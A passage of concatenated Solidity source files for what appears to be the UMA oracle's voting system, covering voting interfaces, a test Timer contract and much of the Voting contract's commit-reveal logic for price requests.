supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) public virtual; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "./VotingAncillaryInterface.sol"; /** * @title Interface that voters must use to Vote on price request resolutions. */ abstract contract VotingInterface { struct PendingRequest { bytes32 identifier; uint256 time; } // Captures the necessary data for making a commitment. // Used as a parameter when making batch commitments. // Not used as a data structure for storage. struct Commitment { bytes32 identifier; uint256 time; bytes32 hash; bytes encryptedVote; } // Captures the necessary data for revealing a vote. // Used as a parameter when making batch reveals. // Not used as a data structure for storage. struct Reveal { bytes32 identifier; uint256 time; int256 price; int256 salt; } /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) external virtual; /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is stored on chain. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(Commitment[] memory commits) public virtual; /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes32 hash, bytes memory encryptedVote ) public virtual; /** * @notice snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times but each round will only every have one snapshot at the * time of calling `_freezeRoundVariables`. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external virtual; /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price is being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) public virtual; /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(Reveal[] memory reveals) public virtual; /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests `PendingRequest` array containing identifiers * and timestamps for all pending requests. */ function getPendingRequests() external view virtual returns (VotingAncillaryInterface.PendingRequestAncillary[] memory); /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase); /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external view virtual returns (uint256); /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public virtual returns (FixedPoint.Unsigned memory); // Voting Owner functions. /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external virtual; /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual; /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual; /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual; } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Universal store of current contract time for testing environments. */ contract Timer { uint256 private currentTime; constructor() public { currentTime = now; // solhint-disable-line not-rely-on-time } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set `currentTime` to. */ function setCurrentTime(uint256 time) external { currentTime = time; } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint256 for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { return currentTime; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; /** * @title Interface that voters must use to Vote on price request resolutions. */ abstract contract VotingAncillaryInterface { struct PendingRequestAncillary { bytes32 identifier; uint256 time; bytes ancillaryData; } // Captures the necessary data for making a commitment. // Used as a parameter when making batch commitments. // Not used as a data structure for storage. struct CommitmentAncillary { bytes32 identifier; uint256 time; bytes ancillaryData; bytes32 hash; bytes encryptedVote; } // Captures the necessary data for revealing a vote. // Used as a parameter when making batch reveals. // Not used as a data structure for storage. struct RevealAncillary { bytes32 identifier; uint256 time; int256 price; bytes ancillaryData; int256 salt; } // Note: the phases must be in order. Meaning the first enum value must be the first phase, etc. // `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last. enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER } /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash ) public virtual; /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is stored on chain. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(CommitmentAncillary[] memory commits) public virtual; /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash, bytes memory encryptedVote ) public virtual; /** * @notice snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times but each round will only every have one snapshot at the * time of calling `_freezeRoundVariables`. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external virtual; /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price is being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, bytes memory ancillaryData, int256 salt ) public virtual; /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(RevealAncillary[] memory reveals) public virtual; /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests `PendingRequest` array containing identifiers * and timestamps for all pending requests. */ function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory); /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external view virtual returns (Phase); /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external view virtual returns (uint256); /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequestAncillary[] memory toRetrieve ) public virtual returns (FixedPoint.Unsigned memory); // Voting Owner functions. /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external virtual; /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual; /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual; /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual; } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/FinderInterface.sol"; import "../interfaces/OracleInterface.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/VotingInterface.sol"; import "../interfaces/VotingAncillaryInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "./Registry.sol"; import "./ResultComputation.sol"; import "./VoteTiming.sol"; import "./VotingToken.sol"; import "./Constants.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; /** * @title Voting system for Oracle. * @dev Handles receiving and resolving price requests via a commit-reveal voting scheme. */ contract Voting is Testable, Ownable, OracleInterface, OracleAncillaryInterface, // Interface to support ancillary data with price requests. VotingInterface, VotingAncillaryInterface // Interface to support ancillary data with voting rounds. { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using VoteTiming for VoteTiming.Data; using ResultComputation for ResultComputation.Data; /**************************************** * VOTING DATA STRUCTURES * ****************************************/ // Identifies a unique price request for which the Oracle will always return the same value. // Tracks ongoing votes as well as the result of the vote. struct PriceRequest { bytes32 identifier; uint256 time; // A map containing all votes for this price in various rounds. mapping(uint256 => VoteInstance) voteInstances; // If in the past, this was the voting round where this price was resolved. If current or the upcoming round, // this is the voting round where this price will be voted on, but not necessarily resolved. uint256 lastVotingRound; // The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that // this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`. uint256 index; bytes ancillaryData; } struct VoteInstance { // Maps (voterAddress) to their submission. mapping(address => VoteSubmission) voteSubmissions; // The data structure containing the computed voting results. ResultComputation.Data resultComputation; } struct VoteSubmission { // A bytes32 of `0` indicates no commit or a commit that was already revealed. bytes32 commit; // The hash of the value that was revealed. // Note: this is only used for computation of rewards. bytes32 revealHash; } struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } /**************************************** * INTERNAL TRACKING * ****************************************/ // Maps round numbers to the rounds. mapping(uint256 => Round) public rounds; // Maps price request IDs to the PriceRequest struct. mapping(bytes32 => PriceRequest) private priceRequests; // Price request ids for price requests that haven't yet been marked as resolved. // These requests may be for future rounds. bytes32[] internal pendingPriceRequests; VoteTiming.Data public voteTiming; // Percentage of the total token supply that must be used in a vote to // create a valid price resolution. 1 == 100%. FixedPoint.Unsigned public gatPercentage; // Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that // should be split among the correct voters. // Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%. FixedPoint.Unsigned public inflationRate; // Time in seconds from the end of the round in which a price request is // resolved that voters can still claim their rewards. uint256 public rewardsExpirationTimeout; // Reference to the voting token. VotingToken public votingToken; // Reference to the Finder. FinderInterface private finder; // If non-zero, this contract has been migrated to this address. All voters and // financial contracts should query the new address only. address public migratedAddress; // Max value of an unsigned integer. uint256 private constant UINT_MAX = ~uint256(0); // Max length in bytes of ancillary data that can be appended to a price request. // As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily // comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to // storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function // well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here: // - https://etherscan.io/chart/gaslimit // - https://github.com/djrtwo/evm-opcode-gas-costs uint256 public constant ancillaryBytesLimit = 8192; bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot"))); /*************************************** * EVENTS * ****************************************/ event VoteCommitted( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData ); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved( uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData ); /** * @notice Construct the Voting contract. * @param _phaseLength length of the commit and reveal phases in seconds. * @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution. * @param _inflationRate percentage inflation per round used to increase token supply of correct voters. * @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed. * @param _votingToken address of the UMA token contract used to commit votes. * @param _finder keeps track of all contracts within the system based on their interfaceName. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Testable(_timerAddress) { voteTiming.init(_phaseLength); require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%"); gatPercentage = _gatPercentage; inflationRate = _inflationRate; votingToken = VotingToken(_votingToken); finder = FinderInterface(_finder); rewardsExpirationTimeout = _rewardsExpirationTimeout; } /*************************************** MODIFIERS ****************************************/ modifier onlyRegisteredContract() { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Caller must be migrated address"); } else { Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); require(registry.isContractRegistered(msg.sender), "Called must be registered"); } _; } modifier onlyIfNotMigrated() { require(migratedAddress == address(0), "Only call this if not migrated"); _; } /**************************************** * PRICE REQUEST AND ACCESS FUNCTIONS * ****************************************/ /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. The length of the ancillary data * is limited such that this method abides by the EVM transaction gas limit. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. */ function requestPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public override onlyRegisteredContract() { uint256 blockTime = getCurrentTime(); require(time <= blockTime, "Can only request in past"); require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request"); require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data"); bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData); PriceRequest storage priceRequest = priceRequests[priceRequestId]; uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.NotRequested) { // Price has never been requested. // Price requests always go in the next round, so add 1 to the computed current round. uint256 nextRoundId = currentRoundId.add(1); priceRequests[priceRequestId] = PriceRequest({ identifier: identifier, time: time, lastVotingRound: nextRoundId, index: pendingPriceRequests.length, ancillaryData: ancillaryData }); pendingPriceRequests.push(priceRequestId); emit PriceRequestAdded(nextRoundId, identifier, time); } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function requestPrice(bytes32 identifier, uint256 time) public override { requestPrice(identifier, time, ""); } /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override onlyRegisteredContract() returns (bool) { (bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData); return _hasPrice; } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) { return hasPrice(identifier, time, ""); } /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override onlyRegisteredContract() returns (int256) { (bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData); // If the price wasn't available, revert with the provided message. require(_hasPrice, message); return price; } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) { return getPrice(identifier, time, ""); } /** * @notice Gets the status of a list of price requests, identified by their identifier and time. * @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0. * @param requests array of type PendingRequest which includes an identifier and timestamp for each request. * @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests. */ function getPriceRequestStatuses(PendingRequestAncillary[] memory requests) public view returns (RequestState[] memory) { RequestState[] memory requestStates = new RequestState[](requests.length); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); for (uint256 i = 0; i < requests.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData); RequestStatus status = _getRequestStatus(priceRequest, currentRoundId); // If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated. if (status == RequestStatus.Active) { requestStates[i].lastVotingRound = currentRoundId; } else { requestStates[i].lastVotingRound = priceRequest.lastVotingRound; } requestStates[i].status = status; } return requestStates; } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) { PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length); for (uint256 i = 0; i < requests.length; i++) { requestsAncillary[i].identifier = requests[i].identifier; requestsAncillary[i].time = requests[i].time; requestsAncillary[i].ancillaryData = ""; } return getPriceRequestStatuses(requestsAncillary); } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash ) public override onlyIfNotMigrated() { require(hash != bytes32(0), "Invalid provided hash"); // Current time is required for all vote timing queries. uint256 blockTime = getCurrentTime(); require( voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit, "Cannot commit in reveal phase" ); // At this point, the computed and last updated round ID should be equal. uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData); require( _getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active, "Cannot commit inactive request" ); priceRequest.lastVotingRound = currentRoundId; VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId]; voteInstance.voteSubmissions[msg.sender].commit = hash; emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData); } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) public override onlyIfNotMigrated() { commitVote(identifier, time, "", hash); } /** * @notice Snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times, but only the first call per round into this function or `revealVote` * will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external override(VotingInterface, VotingAncillaryInterface) onlyIfNotMigrated() { uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase"); // Require public snapshot require signature to ensure caller is an EOA. require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender"); uint256 roundId = voteTiming.computeCurrentRoundId(blockTime); _freezeRoundVariables(roundId); } /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price voted on during the commit phase. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, bytes memory ancillaryData, int256 salt ) public override onlyIfNotMigrated() { require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase"); // Note: computing the current round is required to disallow people from revealing an old commit after the round is over. uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime()); PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData); VoteInstance storage voteInstance = priceRequest.voteInstances[roundId]; VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender]; // Scoping to get rid of a stack too deep error. { // 0 hashes are disallowed in the commit phase, so they indicate a different error. // Cannot reveal an uncommitted or previously revealed hash require(voteSubmission.commit != bytes32(0), "Invalid hash reveal"); require( keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) == voteSubmission.commit, "Revealed data != commit hash" ); // To protect against flash loans, we require snapshot be validated as EOA. require(rounds[roundId].snapshotId != 0, "Round has no snapshot"); } // Get the frozen snapshotId uint256 snapshotId = rounds[roundId].snapshotId; delete voteSubmission.commit; // Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId)); // Set the voter's submission. voteSubmission.revealHash = keccak256(abi.encode(price)); // Add vote to the results. voteInstance.resultComputation.addVote(price, balance); emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue); } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) public override { revealVote(identifier, time, price, "", salt); } /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash, bytes memory encryptedVote ) public override { commitVote(identifier, time, ancillaryData, hash); uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime()); emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote); } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes32 hash, bytes memory encryptedVote ) public override { commitVote(identifier, time, "", hash); commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote); } /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(CommitmentAncillary[] memory commits) public override { for (uint256 i = 0; i < commits.length; i++) { if (commits[i].encryptedVote.length == 0) { commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash); } else { commitAndEmitEncryptedVote( commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash, commits[i].encryptedVote ); } } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function batchCommit(Commitment[] memory commits) public override { CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length); for (uint256 i = 0; i < commits.length; i++) { commitsAncillary[i].identifier = commits[i].identifier; commitsAncillary[i].time = commits[i].time; commitsAncillary[i].ancillaryData = ""; commitsAncillary[i].hash = commits[i].hash; commitsAncillary[i].encryptedVote = commits[i].encryptedVote; } batchCommit(commitsAncillary); } /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more info on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(RevealAncillary[] memory reveals) public override { for (uint256 i = 0; i < reveals.length; i++) { revealVote( reveals[i].identifier, reveals[i].time, reveals[i].price, reveals[i].ancillaryData, reveals[i].salt ); } } // Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version. function batchReveal(Reveal[] memory reveals) public override { 